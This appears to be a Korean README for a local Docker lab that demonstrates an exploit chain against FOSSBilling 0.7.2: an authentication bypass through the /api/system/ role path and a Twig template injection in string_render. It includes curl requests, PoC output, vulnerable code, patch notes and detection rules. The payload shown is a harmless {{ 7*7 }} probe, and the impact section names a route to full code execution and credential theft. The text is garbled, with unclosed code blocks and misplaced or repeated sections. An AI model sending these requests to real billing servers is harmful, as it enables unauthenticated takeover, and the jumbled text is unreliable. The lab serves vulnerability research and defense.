패치된 대상(0.8.0)은 다음을 반환합니다:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

이 랩은 안전한 산술 증명 `{{ 7*7 }}`을 사용하여 체인을 시연합니다. `getDi()`를 통한 전체 RCE 경로는 시연되지 않습니다.

## 검증된 사실

| 주장 | 증거 | 검증 방법 |
| ----- | -------- | ------------- |
| CVE-2026-27604는 FOSSBilling API 역할 처리의 인증 우회입니다. | GHSA-78x5-c8gw-8279: 역할 검사기에서 누락된 throw로 인해 /api/system/이 admin으로 해석될 수 있습니다. | PoC 실행: guest 경로는 거부되고, system 경로는 admin 결과를 반환합니다. |
| CVE-2026-28496은 FOSSBilling Twig 렌더링의 SSTI입니다. | GHSA-57mv-jm88-66jc: string_render가 샌드박스 없이 _tpl을 Twig createTemplate()에 전달합니다. | PoC 실행: 서버가 {{ 7*7 }}을 평가하고 49를 반환합니다. |
| 두 취약점 모두 FOSSBilling 0.5.4부터 0.7.2까지 영향을 미칩니다. | 공개 권고문이 영향을 받는 버전 범위를 명시합니다. | 취약 버전(0.7.2)과 패치된 버전(0.8.0) 대상 비교. |
| FOSSBilling 0.8.0은 두 취약점 모두 패치합니다. | 패치된 대상은 테스트된 엔드포인트에 대해 "Unknown API call"을 반환합니다. | 포트 8082에 대해 PoC 실행. |
| 인증 우회는 인증되지 않은 admin 접근을 제공합니다. | /api/guest/는 string_render를 거부하고, /api/system/은 인증 없이 결과를 반환합니다. | PoC의 Stage 1 실행. |
| SSTI는 공격자가 제어하는 템플릿을 평가합니다. | {{ 7*7 }}이 취약한 경로를 통해 49를 반환합니다. | PoC의 Stage 2 실행. |
| 체인은 Pre-Auth RCE를 가능하게 합니다. | 인증 우회 + SSTI = admin 컨텍스트를 가진 인증되지 않은 템플릿 주입. | 전체 체인 PoC 실행. |
| PoC는 HTTP 전용입니다. | poc.py는 HTTP POST 요청만 전송합니다. | poc/poc.py 검사. |

## 근본 원인 분석

### CVE-2026-27604: 인증 우회

FOSSBilling API는 URL 경로에서 역할을 해석합니다:```text
/api/:role/:module/:method

예외가 절대 발생하지 않기 때문에 검증이 조용히 통과됩니다. `system` 역할은 cron 관리자 ID로 해석되어, 인증되지 않은 모든 호출자에게 전체 관리자 API 접근 권한을 부여합니다.

보안 영향:```text
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;

$vars = $data;
unset($vars['_tpl'], $vars['_try']);

return $this->getService()->renderString($tpl, $try_render, $vars);

`renderString()` 메서드는 `createTemplateFromString()`으로 폴스루됩니다:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

## 소스 패치 요약

FOSSBilling 0.8.0은 두 가지 취약점을 모두 해결합니다:

**인증 우회 수정 (CVE-2026-27604):**
역할 검사기가 이제 허용되지 않은 역할에 대해 예외를 올바르게 발생시킵니다.

**SSTI 수정 (CVE-2026-28496):**
템플릿 렌더링이 샌드박스 처리된 렌더러를 통해 라우팅됩니다:```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

이 랩에서 테스트한 공개 API 경로의 경우, FOSSBilling 0.8.0은 테스트한 엔드포인트를 전혀 노출하지 않습니다:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

## 랩 아키텍처```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

설치 프로그램 사이드카는 `docker compose up` 중에 자동으로 실행됩니다. 이들은 로컬 일회용 자격 증명으로 두 FOSSBilling 대상을 초기화한 후 종료됩니다.

## 요구 사항

* Docker Desktop 또는 Docker Engine
* Docker Compose v2
* Python 3
* 첫 Docker 이미지 풀 중 인터넷 접속

Python 서드파티 패키지는 필요하지 않습니다. PoC는 Python 표준 라이브러리 모듈만 사용합니다.

## 빠른 시작

깨끗한 상태에서 랩을 시작하세요:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

예상 실행 서비스:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

설치 프로그램 로그를 확인하세요:```bash
docker compose logs installer-vuln installer-patched

패치된 대상에 대해 체인 검증을 실행합니다:```bash
python3 poc/poc.py --url http://localhost:8082

예시:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082

**2단계 — SSTI (CVE-2026-28496):**
우회된 관리자 엔드포인트를 통한 서버 측 템플릿 평가를 확인합니다.```text
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

## 감사합니다

이 프로젝트에 기여해 주신 모든 분들께 감사드립니다. 여러분의 노력이 이 도구를 더 나은 방향으로 발전시키고 있습니다.```text
============================================================
  CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
  FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
  Scope:  authorized local lab target only
  Target: http://localhost:8081

============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================

  [1a] Guest role: POST /api/guest/system/string_render
       status=400
       error={'message': '...', 'code': ...}
       → Denied (expected — guest has no admin access)

  [1b] System role (bypass): POST /api/system/system/string_render
       status=200
       result=49
       → Admin method returned result WITHOUT authentication

  VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
           CVE-2026-27604 CONFIRMED

============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================

  [2] POST /api/system/system/string_render
      body={"_tpl": "{{ 7*7 }}"}
      status=200
      response={"result":"49","error":null}

  VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
           CVE-2026-28496 CONFIRMED

============================================================
STAGE 3: Chain Assessment
============================================================

  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  CONFIRMED
  CVE-2026-28496  SSTI         CVSS v4: 9.4   CONFIRMED

  CHAIN RESULT: Pre-Auth RCE path CONFIRMED

## 감사합니다!

이 프로젝트에 기여하고 싶으시다면, 다음을 수행하실 수 있습니다:

- 버그 보고 또는 기능 요청을 위한 이슈 생성
- 개선 사항을 위한 풀 리퀘스트 제출
- 문서 개선 지원
- 다른 사람들과 도구 공유

## ⚠️ 법적 고지

이 도구는 **교육 및 윤리적 해킹 목적**으로만 사용되어야 합니다. 다음 사항을 반드시 준수해야 합니다:

- **허가받은 시스템**에서만 사용하세요
- **적용 가능한 모든 법률과 규정**을 준수하세요
- **무단 접근**은 불법이며 엄격히 금지됩니다
- 작성자는 **오용이나 손해**에 대해 책임을 지지 않습니다

**책임감 있게 사용하세요. 권한이 있는 시스템에서만 사용하세요.**

---

**면책 조항**: 이 도구는 교육 목적으로 제공됩니다. 자신의 시스템이나 명시적인 허가를 받은 시스템에서만 사용하세요. 무단 사용은 불법일 수 있으며, 사용자는 모든 결과에 대해 전적인 책임을 집니다.```text
  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  NOT PRESENT
  CVE-2026-28496  SSTI         CVSS v4: 9.4   NOT PRESENT

  CHAIN RESULT: PATCHED — neither vulnerability is present
  Target appears to be FOSSBilling >= 0.8.0

시스템 경로(인증 우회):```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

### 패치된 비교```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

## 영향

이 체인은 청구 및 고객 관리 플랫폼인 FOSSBilling에 대해 인증되지 않은 원격 코드 실행을 가능하게 하며, 이 플랫폼은 다음을 저장할 수 있습니다:

* 고객 기록 및 개인 데이터
* 청구 데이터 및 결제 구성
* 서버 자격 증명 및 API 토큰
* 관리자 계정 및 세션

시연된 랩 페이로드는 무해합니다(`{{ 7*7 }}`). `getDi()` 및 DI 컨테이너를 통한 실제 영향 체인은 다음을 포함합니다:

* PDO를 통한 SQL 실행 (자격 증명 추출, 데이터 유출)
* 40개 이상의 애플리케이션 서비스 접근
* 확장 관리자 접근 (코드 실행)
* 애플리케이션 상태 수정
* 파일 쓰기 또는 명령 실행 경로와 연계될 경우 전체 서버 장악

DI 컨테이너에 도달하기 위해서는 단일 인증되지 않은 HTTP POST로 충분합니다. 이 PoC는 해당 경로를 시연하지 않습니다.

## 탐지 및 모니터링

의심스러운 요청 패턴:```text
POST /api/system/system/string_render
POST /api/system/*  (any admin method via system role)

고신뢰도 탐지 규칙:```text
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output

## 정리```bash
# Stop containers
docker compose down --remove-orphans

# Stop containers and remove volumes
docker compose down -v --remove-orphans

# Remove evidence files
rm -rf evidence/

랩은 다음을 시연하지 않습니다:

* getDi()를 통한 원격 명령 실행
* PDO를 통한 자격 증명 추출
* 데이터베이스 덤프
* 확장 프로그램 설치
* 웹 셸 업로드
* 지속성 또는 측면 이동
* 외부 콜백
* 랩 시스템이 아닌 시스템에 대한 공격

## 참고 자료

* **CVE-2026-27604** — FOSSBilling 인증 우회
  https://www.cve.org/CVERecord?id=CVE-2026-27604

* **CVE-2026-28496** — FOSSBilling SSTI
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* **GHSA-78x5-c8gw-8279** — 인증 우회 권고
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279

* **GHSA-57mv-jm88-66jc** — SSTI 권고
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* **NVD — CVE-2026-27604**
  https://nvd.nist.gov/vuln/detail/CVE-2026-27604

* **NVD — CVE-2026-28496**
  https://nvd.nist.gov/vuln/detail/CVE-2026-28496

* **VulnCheck** — FOSSBilling 인증 우회 및 Twig SSTI를 통한 비인증 RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* **FOSSBilling GitHub 저장소**
  https://github.com/FOSSBilling/FOSSBilling

* **FOSSBilling Docker 이미지**
  https://hub.docker.com/r/fossbilling/fossbilling

* **Twig 문서 — 샌드박스 확장**
  https://twig.symfony.com/doc/3.x/sandbox.html